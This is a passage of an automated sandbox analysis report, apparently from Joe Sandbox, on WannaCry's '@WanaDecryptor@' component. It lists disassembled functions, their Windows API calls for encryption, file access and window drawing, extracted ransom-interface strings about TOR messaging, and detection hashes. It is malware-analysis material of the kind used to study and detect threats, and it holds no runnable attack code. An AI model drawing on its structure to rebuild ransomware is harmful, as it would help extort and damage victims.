                                                                                                                          • GlobalAlloc.KERNEL32(00000002,?), ref: 00407C4F
                                                                                                                          • CloseClipboard.USER32 ref: 00407C5B
                                                                                                                          • EmptyClipboard.USER32 ref: 00407C66
                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 00407C79
                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 00407C92
                                                                                                                          • SetClipboardData.USER32(00000001,00000000), ref: 00407C9B
                                                                                                                          • CloseClipboard.USER32 ref: 00407CA1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Clipboard$Global$Close$AllocDataEmptyLockOpenUnlock
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 142981918-0
                                                                                                                          • Opcode ID: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                                                                                                          • Instruction ID: 8252ba06fde5d142781bbccc432981ef86be9671d894a3679d09edf034c0945c
                                                                                                                          • Opcode Fuzzy Hash: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                                                                                                          • Instruction Fuzzy Hash: 1D014B71740A05DFD714ABA5EC8DAFBB7A9FB88356B908079F54AC3350CF61AC048B64
                                                                                                                          Function 004047C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154encryptionstringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                                                                                                            • Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                                                                                                            • Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                                                                                                            • Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7
                                                                                                                          • CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                                                                                                          • _local_unwind2.MSVCRT ref: 004048EB
                                                                                                                          • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?), ref: 00404920
                                                                                                                          • strncmp.MSVCRT ref: 00404951
                                                                                                                          • _local_unwind2.MSVCRT ref: 00404964
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Crypt_local_unwind2$File$AcquireContextCreateDecryptEncryptSizestrncmp
                                                                                                                          • String ID: TESTDATA
                                                                                                                          • API String ID: 154225373-1607903762
                                                                                                                          • Opcode ID: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                                                                                                          • Instruction ID: 12943b98363484da7d263465f98eb3331ab271d68fc45af0c4cd497e7be75c93
                                                                                                                          • Opcode Fuzzy Hash: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                                                                                                          • Instruction Fuzzy Hash: 21512DB6600218ABCB24CB64DC45BEBB7B4FB98320F10477DF915A72C1EB749A44CB94
                                                                                                                          Function 004049B0 Relevance: 10.6, APIs: 7, Instructions: 107fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                                                                                                          • GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                                                                                                          • _local_unwind2.MSVCRT ref: 00404AC7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$CreateSize_local_unwind2
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1039228802-0
                                                                                                                          • Opcode ID: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                                                                                                          • Instruction ID: 027920ce5e1762b5ae47f20262b5a931ea28e629a989eecbafe96ff87ad0b853
                                                                                                                          • Opcode Fuzzy Hash: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                                                                                                          • Instruction Fuzzy Hash: 723153B1A40219BBDB10DF98DC84FFFB6ACE789771F14472AF525A22C0D33859018B68
                                                                                                                          Function 00406C20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetUserDefaultLangID.KERNEL32 ref: 00406C3B
                                                                                                                          • GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
                                                                                                                          • SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
                                                                                                                          • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
                                                                                                                          • SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4
                                                                                                                            • Part of subcall function 00406AE0: #540.MFC42(?,75F020C0), ref: 00406B03
                                                                                                                            • Part of subcall function 00406AE0: #3874.MFC42 ref: 00406B1B
                                                                                                                            • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B29
                                                                                                                            • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
                                                                                                                            • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406B59
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42(?,?,75F020C0), ref: 00406B62
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42 ref: 00406B73
                                                                                                                            • Part of subcall function 00406AE0: GetFileAttributesA.KERNEL32(?), ref: 00406B7D
                                                                                                                            • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B91
                                                                                                                            • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
                                                                                                                            • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406BBB
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42(?,?,?,?,?,75F020C0), ref: 00406BC4
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42 ref: 00406BD5
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42(?), ref: 00406BF5
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$MessageSend$#537#924sprintf$#3874#540AttributesDefaultFileInfoLangLocaleUser
                                                                                                                          • String ID: English
                                                                                                                          • API String ID: 600832625-3812506524
                                                                                                                          • Opcode ID: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                                                                                                          • Instruction ID: 12cb8a10269d81aa60d086da51d7e65d8080bc449a50ca3d57c6290c1d86febe
                                                                                                                          • Opcode Fuzzy Hash: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                                                                                                          • Instruction Fuzzy Hash: F911D3717402006BEB149634DC42BAB7795EBD4720F54863EFE5AEB2D0D9F8A8098794
                                                                                                                          Function 0040A150 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                                                                                                          • Instruction ID: fb0ef9a6f766abd1277d4fb3e7775c965cb771230ee66441beda5a672c207522
                                                                                                                          • Opcode Fuzzy Hash: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                                                                                                          • Instruction Fuzzy Hash: 57E1E4716043458BD718CF29C4906AAB7E2BFCC308F09857EE889EB355DB34D941CB5A
                                                                                                                          Function 0040D300 Relevance: 6.2, APIs: 4, Instructions: 159COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: a08db869219df8efdefb3ef72c08157662442d75b338dd6e5398e89fc6f12503
                                                                                                                          • Instruction ID: 8719850658187d05665d4daca0cd16b7f92190a52f2d7545724c4cd71ae93cac
                                                                                                                          • Opcode Fuzzy Hash: a08db869219df8efdefb3ef72c08157662442d75b338dd6e5398e89fc6f12503
                                                                                                                          • Instruction Fuzzy Hash: 7A41D7B2B042044BC724DE6898506BFB7D5EBD4314F40093FF946A3381DA79ED4D869A
                                                                                                                          Function 00404AF0 Relevance: 6.1, APIs: 4, Instructions: 51encryptionCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
                                                                                                                          • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,?,?), ref: 00404B22
                                                                                                                          • LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: CriticalSection$CryptDecryptEnterLeave
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1395129968-0
                                                                                                                          • Opcode ID: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                                                                                                          • Instruction ID: c9397fa3391ecaa6db63de0f595bcff8412a7be4ee2956e3e45acdf047351e7f
                                                                                                                          • Opcode Fuzzy Hash: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                                                                                                          • Instruction Fuzzy Hash: 15017C323002049BD714CE65E888BAB77A9FBC9721F44883AFA42D7281D7B0E809C671
                                                                                                                          Function 004090F0 Relevance: 56.5, APIs: 21, Strings: 11, Instructions: 454windowCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 292 4090f0-40911e 293 409124-40915c #540 #3874 292->293 294 40971e-409736 292->294 295 409185-40918c 293->295 296 40915e-409163 293->296 297 40919c-4091c4 _ftol 295->297 298 40918e-409197 #860 295->298 299 409165-40916c 296->299 300 4091c8-4091cf 296->300 297->300 298->297 303 40917c-409183 299->303 304 40916e-409177 #860 299->304 301 4091d5-409327 SendMessageA #2860 call 409df0 call 409870 #5875 #6170 GetWindowOrgEx #540 #2818 300->301 302 40970a-409719 #800 300->302 310 409329-409357 GetObjectA 301->310 311 40935b-409389 GetTextExtentPoint32A 301->311 302->294 303->300 304->303 310->311 312 4093a1-4093a4 311->312 313 40938b-40939f 311->313 315 4093a6-4093b6 312->315 316 4093b8-4093bd 312->316 314 4093f6-40940b GetViewportOrgEx 313->314 320 409411-409430 call 409d40 314->320 321 4094a9-4094f3 314->321 317 4093f2 315->317 318 4093d9-4093de 316->318 319 4093bf-4093d7 316->319 317->314 318->314 322 4093e0-4093f0 318->322 319->314 328 409432 320->328 329 409436-409444 320->329 326 4094f5-409512 321->326 327 409517-409525 321->327 322->317 332 40961a-409658 #800 326->332 330 409527-409535 327->330 331 40953d-409553 327->331 328->329 329->332 333 40944a-4094a4 329->333 330->331 335 4095b3-4095bf 331->335 336 409555-409568 331->336 340 409662-40967b 332->340 341 40965a-40965d #6170 332->341 343 409610-409612 333->343 335->332 339 4095c1-4095d1 335->339 347 40956a 336->347 348 40956e-4095ab 336->348 349 4095d3 339->349 350 4095d7-40960c 339->350 345 409685-40969c 340->345 346 40967d-409680 #5875 340->346 341->340 343->332 351 4096a6-4096bc 345->351 352 40969e-4096a1 345->352 346->345 347->348 348->335 349->350 350->343 353 4096c8-409702 #2414 * 2 351->353 354 4096be-4096c3 351->354 352->351 353->302 354->353
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414#540#5875#6170#800#860$#2818#2860#3874ExtentMessageObjectPoint32SendTextViewportWindow_ftol
                                                                                                                          • String ID: %d%%$gfff$pgA$pgA$tgA$tgA$xgA$xgA$|gA$|gA$[A
                                                                                                                          • API String ID: 2923375784-3599407550
                                                                                                                          • Opcode ID: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                                                                                                          • Instruction ID: e7c60e05cab477c723c52aa9b6021990c4bcf2d63edfa6d200c8e4e6b3644932
                                                                                                                          • Opcode Fuzzy Hash: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                                                                                                          • Instruction Fuzzy Hash: D312E2B0208381DFD714CF69C484A9BBBE5BBC8304F148A2EF89997391D774E945CB66
                                                                                                                          Function 00405230 Relevance: 49.8, APIs: 33, Instructions: 279COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #940.MFC42(?), ref: 0040527D
                                                                                                                          • #4277.MFC42(?,00000001), ref: 004052A0
                                                                                                                          • #923.MFC42(?,00000000,?), ref: 004052B8
                                                                                                                          • #858.MFC42(00000000,?,00000000,?), ref: 004052C5
                                                                                                                          • #800.MFC42(00000000,?,00000000,?), ref: 004052D3
                                                                                                                          • #800.MFC42(00000000,?,00000000,?), ref: 004052E4
                                                                                                                          • #4129.MFC42(?,?), ref: 004052FC
                                                                                                                          • #5710.MFC42 ref: 00405314
                                                                                                                          • #922.MFC42(?,00000000,00000000), ref: 00405326
                                                                                                                          • #858.MFC42(00000000,?,00000000,00000000), ref: 00405333
                                                                                                                          • #800.MFC42(00000000,?,00000000,00000000), ref: 00405340
                                                                                                                          • #800.MFC42(00000000,?,00000000,00000000), ref: 0040534E
                                                                                                                          • #800.MFC42(00000000,?,00000000,00000000), ref: 0040535F
                                                                                                                          • #940.MFC42(?), ref: 00405396
                                                                                                                          • #5710.MFC42(?,?), ref: 004053B8
                                                                                                                          • #4129.MFC42(?,?,?,?), ref: 004053D7
                                                                                                                          • #922.MFC42(?,?,00000000,?,?,?,?), ref: 004053ED
                                                                                                                          • #858.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 004053FA
                                                                                                                          • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405407
                                                                                                                          • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405415
                                                                                                                          • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405426
                                                                                                                          • #4129.MFC42(?,?), ref: 00405443
                                                                                                                          • #4277.MFC42(?,?,?,?), ref: 0040545B
                                                                                                                          • #922.MFC42(?,00000000,?,?,?,?,?), ref: 00405471
                                                                                                                          • #858.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040547E
                                                                                                                          • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040548B
                                                                                                                          • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 00405499
                                                                                                                          • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 004054AA
                                                                                                                          • #6778.MFC42(?,00000001), ref: 004054EA
                                                                                                                          • #6648.MFC42(00000000,00000001,?,00000001), ref: 004054F4
                                                                                                                          • #6778.MFC42(00000000,?), ref: 00405536
                                                                                                                          • #6648.MFC42(?,00000001,00000000,?), ref: 00405545
                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 0040555A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#858$#4129#922$#4277#5710#6648#6778#940$#923InvalidateRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2121400562-0
                                                                                                                          • Opcode ID: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                                                                                                          • Instruction ID: 4ea7c19ebb0ecad4eacefd8b4ebc091e45acf9db756171f3a68d6c32b1a6cadd
                                                                                                                          • Opcode Fuzzy Hash: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                                                                                                          • Instruction Fuzzy Hash: A4A1B770204B81AFC714DB29C590A6FB7E6EFD4304F040A1EF596D3391D7B8E8558B66
                                                                                                                          Function 004082C0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 181fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4278.MFC42(000003E8,00000000,000003E8,?,?,763F5C80), ref: 0040830D
                                                                                                                          • #858.MFC42 ref: 00408322
                                                                                                                          • #800.MFC42 ref: 00408332
                                                                                                                          • #1200.MFC42(Too short message!,00000000,00000000,?,?,763F5C80), ref: 00408354
                                                                                                                          • #800.MFC42 ref: 0040836B
                                                                                                                          • time.MSVCRT(00000000,?,?,763F5C80), ref: 0040837F
                                                                                                                          • #540.MFC42 ref: 004083C8
                                                                                                                          • time.MSVCRT ref: 004083D6
                                                                                                                          • #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
                                                                                                                          • #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
                                                                                                                          • #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
                                                                                                                          • #800.MFC42 ref: 00408440
                                                                                                                          • time.MSVCRT(00000000), ref: 0040844E
                                                                                                                          • fopen.MSVCRT ref: 00408487
                                                                                                                          • #800.MFC42 ref: 004084A8
                                                                                                                          • fread.MSVCRT ref: 004084C2
                                                                                                                          • fclose.MSVCRT ref: 004084C9
                                                                                                                          • #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
                                                                                                                          • time.MSVCRT(00000000,Your message has been sent successfully!,00000040,00000000), ref: 00408528
                                                                                                                          • #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
                                                                                                                          • #800.MFC42 ref: 0040855B
                                                                                                                          Strings
                                                                                                                          • Your message has been sent successfully!, xrefs: 0040851D
                                                                                                                          • Too short message!, xrefs: 0040834F
                                                                                                                          • You are sending too many mails! Please try again %d minutes later., xrefs: 00408404
                                                                                                                          • 00000000.res, xrefs: 00408480
                                                                                                                          • Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 0040853F
                                                                                                                          • s.wnry, xrefs: 004084DD
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#1200time$#2818#4278#540#858fclosefopenfread
                                                                                                                          • String ID: 00000000.res$Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$Too short message!$You are sending too many mails! Please try again %d minutes later.$Your message has been sent successfully!$s.wnry
                                                                                                                          • API String ID: 1233543560-382338106
                                                                                                                          • Opcode ID: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                                                                                                          • Instruction ID: 9ef4e74ff6f5855000ff98dc085b89da37e67c7abdef0d08bf307c22ead08a72
                                                                                                                          • Opcode Fuzzy Hash: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                                                                                                          • Instruction Fuzzy Hash: D6610371604340EFD330EB28DD81BEFB795AB90324F444A3EF199932D0DB78594586AB
                                                                                                                          Function 004086E0 Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 324windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #470.MFC42 ref: 00408708
                                                                                                                          • GetClientRect.USER32(?,?), ref: 0040871F
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00408730
                                                                                                                          • #6734.MFC42(?,?), ref: 00408746
                                                                                                                          • #323.MFC42(?,?), ref: 0040874F
                                                                                                                          • CreateCompatibleDC.GDI32(?), ref: 004087D2
                                                                                                                          • #1640.MFC42(00000000), ref: 004087DD
                                                                                                                            • Part of subcall function 00409E70: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00409E85
                                                                                                                            • Part of subcall function 00409E70: #1641.MFC42(00000000,?,00408809,?,?,?,00000000), ref: 00409E8E
                                                                                                                            • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F1D
                                                                                                                          • #6194.MFC42(?,?,?,\gA,?,?,?,00000000), ref: 00408831
                                                                                                                          • FillRect.USER32(?,?,?), ref: 0040887D
                                                                                                                          • #2754.MFC42(?,?), ref: 00408892
